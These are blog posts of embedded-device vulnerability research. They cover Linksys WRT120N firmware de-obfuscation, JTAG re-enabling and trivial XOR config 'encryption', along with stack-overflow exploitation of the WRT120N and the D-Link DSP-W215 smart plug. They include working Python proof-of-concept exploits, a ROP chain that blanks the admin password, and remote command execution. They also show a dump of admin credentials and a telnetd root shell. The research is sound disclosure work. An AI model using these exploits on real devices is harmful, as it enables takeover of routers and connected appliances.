Unfortunately, the bootloader doesn’t appear to provide any options for dumping the contents of RAM or flash. Although there is a JTAG header on the board, I opted for dumping the flash chip directly since JTAG dumps tend to be slow, and interfacing directly with SPI flash is trivial.

Pretty much anything that can speak SPI can be used to read the flash chip; I used an FTDI C232HM cable and the spiflash.py utility included with libmpsse:

$ sudo spiflash --read=flash.bin --size=$((0x200000)) --verify
FT232H Future Technology Devices International, Ltd initialized at 15000000 hertz
Reading 2097152 bytes starting at address 0x0...saved to flash.bin.
Verifying...success.

The flash chip contains three LZMA compressed blocks and some MIPS code, but the main firmware image is still unknown:

Flash analysis

Flash analysis

The first two blocks of LZMA compressed data are part of an alternate recovery image, and the MIPS code is the bootloader. Besides some footer data, the rest of the flash chip simply contains a verbatim copy of the firmware update file.

Bootloader Analysis


The bootloader, besides being responsible for de-obfuscating and loading the firmware image into memory, contains some interesting tidbits. I’ll skip the boring parts in which I find the bootloader’s load address, manually identify standard C functions, resolve jump table offsets, etc, and get to the good stuff.

First, very early in the boot process, the bootloader checks to see if the reset button has been pressed. If so, it starts up the “Tiny_ETCPIP_Kernel” image, which is the small LZMA-compressed recovery image, complete with a web interface:

Unzipping Tiny Kernel

Unzipping Tiny Kernel

This is nice to know; if you ever end up with a bad firmware update, holding the reset button during boot will allow you to un-brick your router.

There is also a hidden administrator mode in the bootloader’s UART menu:

Hidden bootloader menu

Hidden bootloader menu

Entering an option of ! will enable “administrator mode”; this unlocks a few other options, including the ability to read and write to memory:

[WG7005G11-LF-88 Boot]:!

Enter Administrator Mode !

======================
 [U] Upload to Flash  
 [E] Erase Flash      
 [G] Run Runtime Code 
 [M] Upload to Memory 
 [R] Read from Memory 
 [W] Write to Memory  
 [Y] Go to Memory     
 [A] Set MAC Address 
 [#] Set Serial Number 
 [V] Set Board Version 
 [H] Set Options 
 [P] Print Boot Params 
 [I] Load ART From TFTP 
 [1] Set SKU Number 
 [2] Set PIN Number  
======================

[WG7005G11-LF-88 Boot]:

The most interesting part of the bootloader, of course, is the code that loads the obfuscated firmware image into memory.

Obfuscation Analysis


De-obfuscation is performed by the load_os function, which is passed a pointer to the obfuscated image as well as an address where the image should be copied into memory:

load_os(0xBF040000, 0x80002000);

The de-obfuscation routine inside load_os is not complicated:

De-obfuscation routine

De-obfuscation routine

Basically, if the firmware image starts with the bytes 04 01 09 20 (which our obfuscated firmware image does), it enters the de-obfuscation routine which:

  • Swaps the two 32-byte blocks of data at offsets 0×04 and 0×68.
  • Nibble-swaps the first 32 bytes starting at offset 0×04
  • Byte-swaps each of the adjacent 32 bytes starting at offset 0×04

At this point, the data at offset 0×04 contains a valid LZMA header, which is then decompressed.

Implementing a de-obfuscation tool was trivial, and the WRT120N firmware can now be de-obfuscated and de-compressed:

$ ./wrt120n ./firmware/FW_WRT120N_1.0.07.002_US.bin ./deobfuscated.bin
Doing block swap...
Doing nibble-swap...
Doing byte-swap...
Saving data to ./deobfuscated.bin...
Done!
Analysis of de-obfuscated firmware

Analysis of de-obfuscated firmware

The de-obfuscation utility can be downloaded here for those interested.

Re-enabling JTAG and Debugging the WRT120N

$
0
0

After de-obfuscating the WRT120N’s firmware, I started taking a closer look at the code, which runs the now-defunct SuperTask! RTOS.

Thanks in no small part to copious debug strings littered throughout the code and some leaked Atheros datasheets, I made good progress in statically disassembling the code. The next step was to start debugging the system while exercising some of the router’s services.

The WRT120N does have a JTAG port (labeled J8), which appears to conform to the MIPS EJTAG standard header:

The WRT120N JTAG header

The WRT120N JTAG header

It didn’t work right out of the box though:

$ sudo openocd -f flyswatter2.cfg -f wrt120n.cfg 
Open On-Chip Debugger 0.7.0 (2014-01-05-12:41)
Licensed under GNU GPL v2
For bug reports, read

http://openocd.sourceforge.net/doc/doxygen/bugs.html

Info : only one transport option; autoselect 'jtag'
adapter speed: 6000 kHz
trst_and_srst separate srst_gates_jtag trst_push_pull srst_open_drain connect_deassert_srst
trst_and_srst separate srst_nogate trst_push_pull srst_open_drain connect_assert_srst
adapter_nsrst_delay: 100
jtag_ntrst_delay: 100
mips.cpu
Info : max TCK change to: 30000 kHz
Info : clock speed 6000 kHz
Error: JTAG scan chain interrogation failed: all ones
Error: Check JTAG interface, timings, target power, etc.
Error: Trying to use configured scan chain anyway...
Error: mips.cpu: IR capture error; saw 0x1f not 0x01
Warn : Bypassing JTAG setup events due to errors
Error: Error writing unexpected address 0xffffffff
Error: Error writing unexpected address 0xffffffff
Error: Error writing unexpected address 0xffffffff
Error: Error writing unexpected address 0xffffffff

It turns out that JTAG has been disabled in hardware and in software on the WRT120N. Luckily both were relatively easy to fix.

Patching the Hardware


One of the simplest ways to disable JTAG is to remove jumpers, and that’s exactly what has been done here:

Missing R356 0-ohm jumper

Missing R356 0-ohm jumper

The TDI pin on the JTAG header (pin 2) has been disconnected from the rest of the system by simply removing jumper R356. This was easily remedied with a quick solder blob:

R356 solder blob

R356 solder blob

With TDI re-connected, I was able to reset the system and halt the processor over JTAG:

Open On-Chip Debugger
> reset init
JTAG tap: mips.cpu tap/device found: 0x00000001 (mfg: 0x000, part: 0x0000, ver: 0x0)
target state: halted
target halted in MIPS32 mode due to debug-request, pc: 0xbfc00000

Unfortunately, I quickly lost control of execution:

> resume
> halt
Failed to enter Debug Mode!
Halt timed out, wake up GDB.
timed out while waiting for target halted
in procedure 'halt'

After some probing, I found that this is due to the hardware design of the WRT120N: the reset button has been connected to the JTAG TDI pin on the AR7240 SoC. It is common for systems to allow JTAG pins to be re-configured as GPIO pins, so this is not un-heard of. However, this means that JTAG is likely being disabled in software.

Additionally, when depressed, the reset button asserts this pin low; the TDI line driven from my JTAG adapter also idles low. This means that whenever the JTAG adapter was connected to the JTAG header, the system thought that the reset button had been pressed.

I obviously didn’t want JTAG to be disabled, nor did I want the system continually resetting during a debug session. But, since I couldn’t magically redefine hardware pins, these were issues that had to be addressed in software.

Patching the Bootloader


The first firmware patch I needed to make was to the bootloader.

As seen previously, the bootloader checks the reset pin, and if asserted, it boots into a recovery image instead of booting the main image:

if(check_reset_button() != 0) goto load_main_image;

if(check_reset_button() != 0) goto load_main_image;

Since the JTAG adapter pulls the TDI line low, the bootloader wouldn’t even boot the main OS with the JTAG adapter connected; it thought the reset button had been pushed and loaded the recovery image instead!

There were two solutions to this problem. First, I could simply set a breakpoint on this conditional branch and change the register contents so that the recovery image is never loaded.

Besides being a PITA, this approach turned out to be impractical due to the following piece of earlier code:

Setting the RESET_SWITCH bit in the CPU_CLOCK_CONTROL register

Setting the RESET_SWITCH bit in the CPU_CLOCK_CONTROL register

This code is executed very early in the boot process and is in part responsible for configuring the system’s PLL clock. Specifically, the code snippet above sets bit 0 (the RESET_SWITCH bit) in the CPU_CLOCK_CONTROL register; according to the datasheet, this generates a CPU reset, causing the debugger to lose control of execution:

This register [CPU_CLOCK_CONTROL] controls the clock and reset to the CPU. These bits are controlled by driver software…RESET_SWITCH reset[s] during clock switch trigger.

What this means is that I would have to enter JTAG debug mode after the PLL was configured, but before the reset button was checked; a race condition that was difficult to reliably to win.

Instead, I opted to simply patch the bootloader on the flash chip. The check_reset_button function masks out bit 6 of the GPIO_IN register (aka, the TDI pin) by performing a logical AND with 0×40; if that pin is low, the function returns 0 (reset button depressed), else it returns non-zero:

The check_reset_button function

The check_reset_button function

I changed this from a logical AND to a logical OR, ensuring that check_reset_button always returns non-zero regardless of the actual state of the pin. This is just a one bit change to the instruction opcode:

The modified check_reset_button function

The modified check_reset_button function

Desoldering the flash chip and overwriting the bootloader with this patch got me past the bootloader and into the main OS:

> bp 0x800081ac 4 hw
breakpoint set at 0x800081ac
> resume
target state: halted
target halted in MIPS32 mode due to breakpoint, pc: 0x800081ac

However, JTAG debugging was killed shortly thereafter, and the serial console was spammed with “Reset button held…” messages:

Reset button held 0
Reset button held 1
Reset button held 2
Reset button held 3
Reset button held 4
Reset button held 5
Reset button held 6
Reset button held 7
Reset button held 8
Reset button held 9
...

Patching the OS


Something in the OS was disabling JTAG, and the culprit was found in the configure_peripherals function:

GPIO_FUNCTION_1.EJTAG_DISABLE = 1

GPIO_FUNCTION_1.EJTAG_DISABLE = 1

This code is responsible for setting the EJTAG_DISABLE bit inside the GPIO_FUNCTION_1 register. According to the datasheet, this will:

Disable EJTAG port functionality to enable GPIO functionality; can be set to 1 to enable using GPIO_5, GPIO_6, and GPIO_7 as GPIO pins

This was easily fixed by simply nopping out the ori instruction that was used to set the EJTAG_DISABLE bit:

EJTAG_DISABLE bit patched

EJTAG_DISABLE bit patched

For good measure, I also went ahead and nopped out the function call to gpio_tris that configures GPIO#6 (aka, TDI) as a GPIO input:

gpio_tris(GPIO6, INPUT);

gpio_tris(GPIO6, INPUT);

Call to gpio_tris nopped

Call to gpio_tris nopped

And got rid of that pesky reset button check that was spamming my serial console as well:

if(read_gpio_pin(6) != 0) goto reset_not_depressed;

if(read_gpio_pin(6) != 0) goto reset_not_depressed;

if(1 != 0) goto reset_not_depressed;

if(1 != 0) goto reset_not_depressed;

Re-building the Firmware Image


Having patched the OS, I needed to write it back to the flash chip. Not wanting to de-solder the flash chip yet again, I opted to apply the patches via a firmware update.

Since the OS image had been modified, I first needed to figure out the checksum for the firmware update file. It turns out that it is a standard CRC32 checksum that is stored in the firmware footer:

The crc32 function being called from cgi_upgrade

The crc32 function being called from cgi_upgrade

The checksum field itself is set to 0xFFFFFFFF at the time of calculation, and the checksum is calculated over the entire firmware update file, except for the board ID string at the very end.

So, putting everything together, I just needed to:

  • Re-compress the modified OS image
  • Concatenate the LZMA compressed web files and firmware footer with the compressed, modified OS image
  • Re-obfuscate the firmware image
  • Re-calculate and patch the checksum

I threw together a little script to automate this; it’s super hacky, but works so long as I don’t change the size of the decompressed OS image.

After buggering it up the first time, I recovered the system and flashed the modified firmware image through the router’s web interface. After a reboot, lo and behold, JTAG was up and running without issues:

> halt
target state: halted
target halted in MIPS32 mode due to debug-request, pc: 0x800045a4
> reg
===== mips32 registers
(0) zero (/32): 0x00000000
(1) at (/32): 0x804E0000
(2) v0 (/32): 0x00000000
(3) v1 (/32): 0x805BD6E4
(4) a0 (/32): 0x803D0000
(5) a1 (/32): 0x0000000A
(6) a2 (/32): 0x805BD57C
(7) a3 (/32): 0x806BD190
(8) t0 (/32): 0x80003F28
(9) t1 (/32): 0x00000000
(10) t2 (/32): 0x00000050
(11) t3 (/32): 0x807D7CA0
(12) t4 (/32): 0x00000109
(13) t5 (/32): 0x00000000
(14) t6 (/32): 0xEFFFFFFA
(15) t7 (/32): 0x00000001
(16) s0 (/32): 0x80A3E42C
(17) s1 (/32): 0x0000000A
(18) s2 (/32): 0x00000050
(19) s3 (/32): 0x80196100
(20) s4 (/32): 0xFEDFFE95
(21) s5 (/32): 0xB9DFDFDF
(22) s6 (/32): 0xFEFFDD37
(23) s7 (/32): 0xDEDFFBC9
(24) t8 (/32): 0x00000000
(25) t9 (/32): 0x3548A4A8
(26) k0 (/32): 0x0000FC03
(27) k1 (/32): 0xFFFFFFFE
(28) gp (/32): 0x804DA890
(29) sp (/32): 0x80820870
(30) fp (/32): 0x7EFFEFCF
(31) ra (/32): 0x80003FFC
(32) status (/32): 0x0000FC01
(33) lo (/32): 0x851EBB0A
(34) hi (/32): 0x0000031B
(35) badvaddr (/32): 0xACED8496
(36) cause (/32): 0x10004400
(37) pc (/32): 0x800045A4
>

I’ve placed a copy of the modified firmware image up on github, along with the script used to build it. Note that this will not patch the bootloader, although upgrading the bootloader via a firmware update does appear to be supported; I’ll leave that as an exercise to the reader. ;)


Cracking Linksys “Encryption”

$
0
0

Perusing the release notes for the latest Linksys WRT120N firmware, one of the more interesting comments reads:

Firmware 1.0.07 (Build 01)
- Encrypts the configuration file.

Having previously reversed their firmware obfuscation and patched their code to re-enable JTAG debugging, I thought that surely I would be able to use this access to reverse the new encryption algorithm used to secure their backup configuration files.

Boy was I giving them way too much credit.

Here’s a diff of two backup configuration files from the WRT120N. The only change made between backups was that the administrator password was changed from “admin” in backup_config_1.bin to “aa” in backup_config_2.bin:

OFFSET        backup_config_1.bin              backup_config_2.bin
----------------------------------------------------------------------------------------
0x00001468    9E 9B 92 96 91 FF FF FF |........| / 9E 9E FF FF FF FF FF FF |........|

Two things to note here:

  • The first letter of each password (“a”) is encrypted to the same value (0x9E)
  • The same letter (“a”) is encrypted to the same value (0x9E), regardless of its position in the password

I immediately suspected some sort of simple single-byte XOR encryption. If true, then XORing the known plain text (“a”, aka, 0×61) with the known cipher text (0x9E) should produce the XOR key:

0x61 ^ 0x9E = 0xFF

Applying the XOR key of 0xFF to the other characters in the password gives us:

0x9E ^ 0xFF = a
0x9B ^ 0xFF = d
0x92 ^ 0xFF = m
0x96 ^ 0xFF = i
0x91 ^ 0xFF = n

And XORing every byte in the config file with 0xFF gives us a decrypted config file:

00000000  33 34 35 36 00 01 df 60  00 00 46 ec 76 31 2e 30  |3456...`..F.v1.0|
00000010  2e 30 37 00 00 00 00 00  00 00 00 00 00 00 00 00  |.07.............|
00000020  00 00 00 00 00 00 00 00  00 00 00 00 57 52 54 31  |............WRT1|
00000030  32 30 4e 00 00 00 00 00  00 00 00 00 00 00 00 00  |20N.............|
00000040  00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00  |................|
*
00000080  61 64 6d 69 6e 00 00 00  00 00 00 00 00 00 00 00  |admin...........|
00000090  00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00  |................|
000000a0  00 00 00 00 00 00 00 00  61 64 6d 69 6e 00 00 00  |........admin...|
000000b0  00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00  |................|
*
00000100  00 00 00 00 00 00 00 00  30 2e 30 2e 30 2e 30 00  |........0.0.0.0.|
00000110  00 00 00 00 00 00 00 00  01 01 01 00 00 00 00 01  |................|
00000120  00 00 00 01 00 00 00 00  00 00 00 08 32 39 34 38  |............2948|
00000130  33 31 30 35 00 01 00 00  00 31 39 32 2e 31 36 38  |3105.....192.168|
00000140  2e 31 2e 31 00 00 00 00  00 32 35 35 2e 32 35 35  |.1.1.....255.255|
00000150  2e 32 35 35 2e 30 00 00  00 00 00 00 04 00 02 00  |.255.0..........|
00000160  01 00 00 00 00 00 00 00  00 00 00 00 00 00 4c 4f  |..............LO|
00000170  4f 50 42 41 43 4b 00 00  00 00 31 32 37 2e 30 2e  |OPBACK....127.0.|
00000180  30 2e 31 00 00 00 00 00  00 00 32 35 35 2e 32 35  |0.1.......255.25|
00000190  35 2e 32 35 35 2e 32 35  35 00 00 00 00 00 00 00  |5.255.255.......|
000001a0  00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00  |................|
000001b0  00 00 00 00 49 52 51 3d  30 20 50 4f 52 54 3d 30  |....IRQ=0 PORT=0|
000001c0  00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00  |................|
...

This is truly atrocious. Given that “encrypting” the backup configuration files is done presumably to protect end users, expecting this to thwart any attacker and touting it as a product feature is unforgivable.

OK, I don’t really care that much. I’m just disappointed that it took longer to write this blog post than it did to break their “crypto”.

WRT120N fprintf Stack Overflow

$
0
0

With a good firmware disassembly and JTAG debug access to the WRT120N, it’s time to start examining the code for more interesting bugs.

As we’ve seen previously, the WRT120N runs a Real Time Operating System. For security, the RTOS’s administrative web interface employs HTTP Basic authentication:

401 Unauthorized

401 Unauthorized

Most of the web pages require authentication, but there are a handful of URLs that are explicitly allowed to bypass authentication:

bypass_file_list("/cgi-bin/login /images/ /login...");

bypass_file_list(“/cgi-bin/login /images/ /login…”);

Full list of bypass files

Full list of bypass files

Any request whose URL starts with one of these strings will be allowed without authentication, so they’re a good place to start hunting for bugs.

Some of these pages don’t actually exist; others exist but their request handlers don’t do anything (NULL subroutines). However, the /cgi/tmUnBlock.cgi page does have a handler that processes some user data:

cgi_tmUnBlock function handler

cgi_tmUnBlock function handler

The interesting bit of code to focus on is this:

fprintf(request->socket, "Location %s\n\n", GetWebParam(cgi_handle, "TM_Block_URL"));

Although it at first appears benign, cgi_tmUnBlock‘s processing of the TM_Block_URL POST parameter is exploitable, thanks to a flaw in the fprintf implementation:

fprintf

fprintf

Yes, fprintf blindly vsprintf‘s the supplied format string and arguments to a local stack buffer of only 256 bytes.

Respect yourself. Don't use sprintf.

Respect yourself. Don’t use sprintf.

This means that the user-supplied TM_Block_URL POST parameter will trigger a stack overflow in fprintf if it is larger than 246 (sizeof(buf) – strlen(“Location: “)) bytes:

$ wget --post-data="period=0&TM_Block_MAC=00:01:02:03:04:05&TM_Block_URL=$(perl -e 'print "A"x254')" http://192.168.1.1/cgi-bin/tmUnBlock.cgi
Stack trace of the crash

Stack trace of the crash

A simple exploit would be to overwrite some critical piece of data in memory, say, the administrative password which is stored in memory at address 0x81544AF0:

Admin password at 0x81544AF0

Admin password at 0x81544AF0

The administrative password is treated as a standard NULL terminated string, so if we can write even a single NULL byte at the beginning of this address, we’ll be able to log in to the router with a blank password. We just have to make sure the system continues running normally after exploitation.

Looking at fprintf‘s epilogue, both the $ra and $s0 registers are restored from the stack, meaning that we can control both of those registers when we overflow the stack:

fprintf's function epilogue

fprintf’s function epilogue

There’s also this nifty piece of code at address 0x8031F634 that stores four NULL bytes from the $zero register to the address contained in the $s0 register:

First ROP gadget

First ROP gadget

If we use the overflow to force fprintf to return to 0x8031F634 and overwrite $s0 with the address of the administrative password (0x81544AF0), then this code will:

  • Zero out the admin password
  • Return to the return address stored on the stack (we control the stack)
  • Add 16 to the stack pointer

This last point is actually a problem. We need the system to continue normally and not crash, but if we simply return to the cgi_tmUnBlock function like fprintf was supposed to, the stack pointer will be off by 16 bytes.

Finding a useful MIPS ROP gadget that decrements the stack pointer back 16 bytes can be difficult, so we’ll take a different approach.

Looking at the address where fprintf should have returned to cgi_tmUnblock, we see that all it is doing is restoring $ra, $s1 and $s0 from the stack, then returning and adding 0×60 to the stack pointer:

cgi_tmUnblock function epilogue

cgi_tmUnblock function epilogue

We’ve already added 0×10 to the stack pointer, so if we can find a second ROP gadget that restores the appropriate saved values for $ra, $s1 and $s0 from the stack and adds 0×50 to the stack pointer, then that ROP gadget can be used to effectively replace cgi_tmUnblock‘s function epilogue.

There aren’t any obvious gadgets that do this directly, but there is a nice one at 0x803471B8 that is close:

Second ROP gadget

Second ROP gadget

This gadget only adds 0×10 to the stack pointer, but that’s not a problem; we’ll set up some additional stack frames that will force this ROP gadget return to itself five times. On the fifth iteration, the original values of $ra, $s1 and $s0 that were passed to cgi_tmUnblock will be pulled off the stack, and our ROP gadget will return to cgi_tmUnblock‘s caller:

ROP stack frames and relevant registers

ROP stack frames and relevant registers

With the register contents and stack having been properly restored, the system should continue running along as if nothing ever happened. Here’s some PoC code (download):

import sys
import urllib2

try:
    target = sys.argv[1]
except IndexError:
    print "Usage: %s <target ip>" % sys.argv[0]
    sys.exit(1)

url = target + '/cgi-bin/tmUnblock.cgi'
if '://' not in url:
    url = 'http://' + url

post_data = "period=0&TM_Block_MAC=00:01:02:03:04:05&TM_Block_URL="
post_data += "B" * 246                  # Filler
post_data += "\x81\x54\x4A\xF0"         # $s0, address of admin password in memory
post_data += "\x80\x31\xF6\x34"         # $ra
post_data += "C" * 0x28                 # Stack filler
post_data += "D" * 4                    # ROP 1 $s0, don't care
post_data += "\x80\x34\x71\xB8"         # ROP 1 $ra (address of ROP 2)
post_data += "E" * 8                    # Stack filler

for i in range(0, 4):
    post_data += "F" * 4                # ROP 2 $s0, don't care
    post_data += "G" * 4                # ROP 2 $s1, don't care
    post_data += "\x80\x34\x71\xB8"     # ROP 2 $ra (address of itself)
    post_data += "H" * (4-(3*(i/3)))    # Stack filler; needs to be 4 bytes except for the
                                        # last stack frame where it needs to be 1 byte (to
                                        # account for the trailing "\n\n" and terminating
                                        # NULL byte)

try:
    req = urllib2.Request(url, post_data)
    res = urllib2.urlopen(req)
except urllib2.HTTPError as e:
    if e.code == 500:
        print "OK"
    else:
        print "Received unexpected server response:", str(e)
except KeyboardInterrupt:
    pass
Logging in with a blank password after exploitation

Logging in with a blank password after exploitation

Arbitrary code execution is also possible, but that’s another post for another day.

Hacking the D-Link DSP-W215 Smart Plug

$
0
0

The D-Link DSP-W215 Smart Plug is a wireless home automation device for monitoring and controlling electrical outlets. It isn’t readily available from Amazon or Best Buy yet, but the firmware is up on D-Link’s web site.

The D-Link DSP-W215

The D-Link DSP-W215

TL;DR, the DSP-W215 contains an unauthenticated stack overflow that can be exploited to take complete control of the device, and anything connected to its AC outlet.

The DSP-W215 firmware contains all the usual stuff you would expect from a Linux-based device:

DSP-W215 Firmware Analysis

DSP-W215 Firmware Analysis

After unpacking and examining the contents of the file system, I found that the smart plug doesn’t have a normal web-based interface; you are expected to configure it using D-Link’s Android/iOS app. The apps however, appear to use the Home Network Administration Protocol (HNAP) to talk to the smart plug.

Being a SOAP-based protocol, HNAP is served up by a lighttpd server running on the smart plug, and the following excerpt from the lighttpd configuration file(s) shows that HNAP requests are passed off to the /www/my_cgi.cgi binary for processing:

...

alias.url += ( "/HNAP1/" => "/www/my_cgi.cgi",
               "/HNAP1"  => "/www/my_cgi.cgi",

...

While HNAP is an authenticated protocol, some HNAP actions – specifically the GetDeviceSettings action – do not require authentication:

XML Output from the GetDeviceSettings Action

XML Output from the GetDeviceSettings Action

GetDeviceSettings only provides a list of supported actions and isn’t of much use by itself, but this does mean that my_cgi.cgi has to parse the request prior to checking for authentication.

HNAP request data is handled by the do_hnap function in my_cgi.cgi. Since HNAP actions are sent as HTTP POST requests, do_hnap first processes the Content-Length header specified in the POST request:

Converting the Content-Length String to an Integer

Converting the Content-Length String to an Integer

Then, naturally, it reads content_length bytes into a fixed-size stack buffer:

fgetc Read Loop

fgetc Read Loop

The following C code is perhaps a bit clearer:

int content_length, i;
char *content_length_str;
char post_data_buf[500000];

content_length = 0;
content_length_str = getenv("CONTENT_LENGTH");

if(content_length_str)
{
   content_length = strtol(content_length_str, 10);
}

memset(post_data_buf, 0, 500000);

for(i=0; i<content_length; i++)
{
   post_data_buf[i] = fgetc();
}

From the memset it is obvious that the post_data_buf stack buffer is only intended to hold up to 500,000 bytes. Since the Content-Length header is trusted blindly, POSTing more than 500,000 bytes will overflow this buffer, but there are quite a few more variables on the stack; it takes 1,000,020 bytes to overwrite everything on the stack up to the saved return address:

# Overflow $ra with 0x41414141
perl -e 'print "D"x1000020; print "A"x4' > overflow.txt
wget --post-file=overflow.txt http://192.168.0.60/HNAP1/
$ra Overwritten With 0x41414141

$ra Overwritten With 0×41414141

What’s more, because the POST data is read into the buffer with an fgetc loop, there are no bad bytes – even NULL bytes are allowed. That’s nice, because at 0x00405CAC in my_cgi.cgi there is this little bit of code that loads $a0 (the first function argument register) with a pointer to the stack ($sp+0×28) and calls system():

system($sp+0x28);

system($sp+0×28);

We just need to overwrite the saved return address with 0x00405CAC and put whatever command we want to run onto the stack at offset 0×28:

import sys
import urllib2

command = sys.argv[1]

buf =  "D" * 1000020         # Fill up the stack buffer
buf += "\x00\x40\x5C\xAC"    # Overwrite the return address on the stack
buf += "E" * 0x28            # Stack filler
buf += command               # Command to execute
buf += "\x00"                # NULL terminate the command string

req = urllib2.Request("http://192.168.0.60/HNAP1/", buf)
print urllib2.urlopen(req).read()

Even better, the stdout of any command we execute is returned in the server’s response:

eve@eve:~$ ./exploit.py 'ls -l /'
drwxr-xr-x    2 1000     1000         4096 Jan 14 14:16 bin
drwxrwxr-x    3 1000     1000         4096 May  9 16:04 dev
drwxrwxr-x    3 1000     1000         4096 Sep  3  2010 etc
drwxrwxr-x    3 1000     1000         4096 Jan 14 14:16 lib
drwxr-xr-x    3 1000     1000         4096 Jan 14 14:16 libexec
lrwxrwxrwx    1 1000     1000           11 May  9 16:01 linuxrc -> bin/busybox
drwxrwxr-x    2 1000     1000         4096 Nov 11  2008 lost+found
drwxrwxr-x    7 1000     1000         4096 May  9 15:44 mnt
drwxr-xr-x    2 1000     1000         4096 Jan 14 14:16 mydlink
drwxrwxr-x    2 1000     1000         4096 Nov 11  2008 proc
drwxrwxr-x    2 1000     1000         4096 May  9 17:49 root
drwxr-xr-x    2 1000     1000         4096 Jan 14 14:16 sbin
drwxrwxr-x    3 1000     1000         4096 May 15 04:27 tmp
drwxrwxr-x    7 1000     1000         4096 Jan 14 14:16 usr
drwxrwxr-x    3 1000     1000         4096 May  9 16:04 var
-rw-r--r--    1 1000     1000           17 Jan 14 14:16 version
drwxrwxr-x    8 1000     1000         4096 May  9 16:52 www

We can dump configuration settings and admin creds:

eve@eve:~$ ./exploit.py 'nvram show' | grep admin
admin_user_pwd=200416
admin_user_tbl=0/admin_user_name/admin_user_pwd/admin_level
admin_level=1
admin_user_name=admin
storage_user_00=0/admin//

Or start up a telnet server to get a proper root shell:

eve@eve:~$ ./exploit.py 'busybox telnetd -l /bin/sh'
eve@eve:~$ telnet 192.168.0.60
Trying 192.168.0.60...
Connected to 192.168.0.60.
Escape character is '^]'.


BusyBox v1.01 (2014.01.14-12:12+0000) Built-in shell (ash)
Enter 'help' for a list of built-in commands.

/ #

After reversing a bit more of my_cgi.cgi, I found that all you need to do to turn the wall outlet on and off is execute /var/sbin/relay:

/var/sbin/relay 1   # Turns outlet on 
/var/sbin/relay 0   # Turns outlet off 

You can run a little script on the smart plug to play blinkenlights:

#!/bin/sh

OOK=1

while [ 1 ]
do
   /var/bin/relay $OOK

   if [ $OOK -eq 1 ]
   then
      OOK=0
   else
      OOK=1
   fi
done

Controlling a wall outlet can have more serious implications however, as exemplified the following D-Link advertisement:

A Rather Misleading D-Link Advertisement

A Rather Misleading D-Link Advertisement

While the smart plug may be able detect overheating, I suspect that it can only detect if the smart plug itself is overheating – it has no way to monitor the actual temperature of any devices plugged into the wall outlet. So, if you’ve left a space heater plugged in to the outlet and some nefarious person surreptitiously turns the outlet back on, you’re in for a bad day.

It’s unclear if the smart plug attempts to make itself remotely accessible (using UPnP port forwarding rules, for example), as the Android configuration app simply doesn’t work. It couldn’t even establish an initial connection to the smart plug, although my laptop had no problems. When it finally did, it refused to create a MyDlink account for remote access, with the very helpful error message “could not create account”. Although it said it had configured the smart plug to connect to my wireless network, the smart plug did not connect to my network, and it ceased to present itself as an access point for initial configuration. With the wireless borked and no ethernet connection, I was left with no means to further communicate with it. Oh, and there’s no hard reset button either. Ah well, it’s going in the bin anyway.

I suspect that anyone else who has purchased this device hasn’t been able to get it to work either, which is probably a good thing. At any rate, I’d be wary of connecting such a device to either my network or my appliances.

Incidentally, D-Link’s DIR-505L travel router is also affected by this bug, as it has a nearly identical my_cgi.cgi binary.

PoC code for both devices can be found here.

Hacking the DSP-W215, Again

$
0
0

D-Link recently released firmware v1.02 for the DSP-W215 to address the HNAP buffer overflow bug in my_cgi.cgi. Although they were quick to remove the download link for the new firmware (you must “Use mobile application to upgrade device”), I grabbed a copy of it before my trip to Munich this week, and the 8 hour flight provided plenty of quality reversing time to analyze the new firmware more closely.

Unfortunately, the HNAP bug was just the beginning of the smart plug’s problems.

The lighttpd config file shows that the my_cgi.cgi binary is used to handle multiple page requests, not just HNAP:

alias.url += ( "/HNAP1/" => "/www/my_cgi.cgi",
               "/HNAP1"  => "/www/my_cgi.cgi",
               "/router_info.xml" => "/www/my_cgi.cgi",
               "/post_login.xml" => "/www/my_cgi.cgi",
               "/get_shareport_info" => "/www/my_cgi.cgi",
               "/secmark1524.cgi" => "/www/my_cgi.cgi",
               "/common/info.cgi" => "/www/my_cgi.cgi"
)

The my_cgi.cgi’s main function has two basic code branches; one for HNAP requests, and one for everything else:

Conditional branch for HNAP vs CGI requests

Conditional branch for HNAP vs CGI requests

If the HTTP request was not for HNAP (e.g., /common/info.cgi), and if the request was a POST request, then my_cgi.cgi next grabs several HTTP request headers, including Content-Length:

strtol(getenv(

strtol(getenv(“CONTENT_LENGTH”), 10);

As long as the content length is greater than zero, the get_input_entries function is called, which is responsible for reading and parsing the POST parameters:

get_input_entries(&entries, content_length);

get_input_entries(&entries, content_length);

The get_input_entries function takes two arguments: a pointer to an entries data structure, and the size of the POST data (aka, the content length):

struct entries
{
    char name[36];      // POST paramter name
    char value[1025];   // POST parameter value
};

// Returns the number of POST parameters that were processed
int get_input_entries(struct *entries post_entries, int content_length);

This is particularly suspect, as the only length parameter that is passed to get_input_entries is the content length that was specified in the HTTP request, and the structure pointer is a pointer to a local stack variable in the main function:

int content_length, num_entries;
struct entries my_entries[450]; // total size: 477450 bytes

content_length = strtol(getenv("CONTENT_LENGTH"), 10);
memset(my_entries, 0, sizeof(my_entries));

num_entries = get_input_entries(&my_entries, content_length);

Sure enough, get_input_entries has an fgetc loop (nearly identical to the fgetc loop that caused the HNAP vulnerability), which parses out the POST names and values and blindly stores them in the entries data structure:

The fgetc for loop

The fgetc for loop

fgetc(stdin) inside the for loop

fgetc(stdin) inside the for loop

Value read from fgetc is stored in the name/value members of the entries data structure

Value read from fgetc is stored in the name/value members of the entries data structure

Since the entries data structure in this case is a stack variable in main, an excessively long POST value will cause get_input_entries to overflow main’s stack.

In order to prevent crashing prematurely before returning to main (more on this in another post…), we want to exit the get_input_entries function as quickly as possible. This is most easily done by specifying a single POST parameter named “storage_path”, as most of the remaining code in get_input_entries is skipped if this POST parameter is encountered:

Checking the entry name for "storage_path"

Checking the entry name for “storage_path”

Looking back at the stack layout for main, we can see that the start of the entries data structure is 0×74944 bytes away from the saved return address on the stack:

Stack layout of the main function

Stack layout of the main function

Since the POST name takes up the first 36 bytes of the data structure, a POST value of 477472 (0×74944-36) bytes will overflow everything on the stack up to the saved return address:

# Overwrite the saved return address with 0x41414141
perl -e 'print "storage_path="; print "B"x477472; print "A"x4' > overflow.txt
wget --post-file=overflow.txt http://192.168.0.60/common/info.cgi
$ra overwritten with 0x41414141

$ra overwritten with 0×41414141

With control of $ra, we can now return to the same system() call that was used in the HNAP overflow in order to execute arbitrary commands:

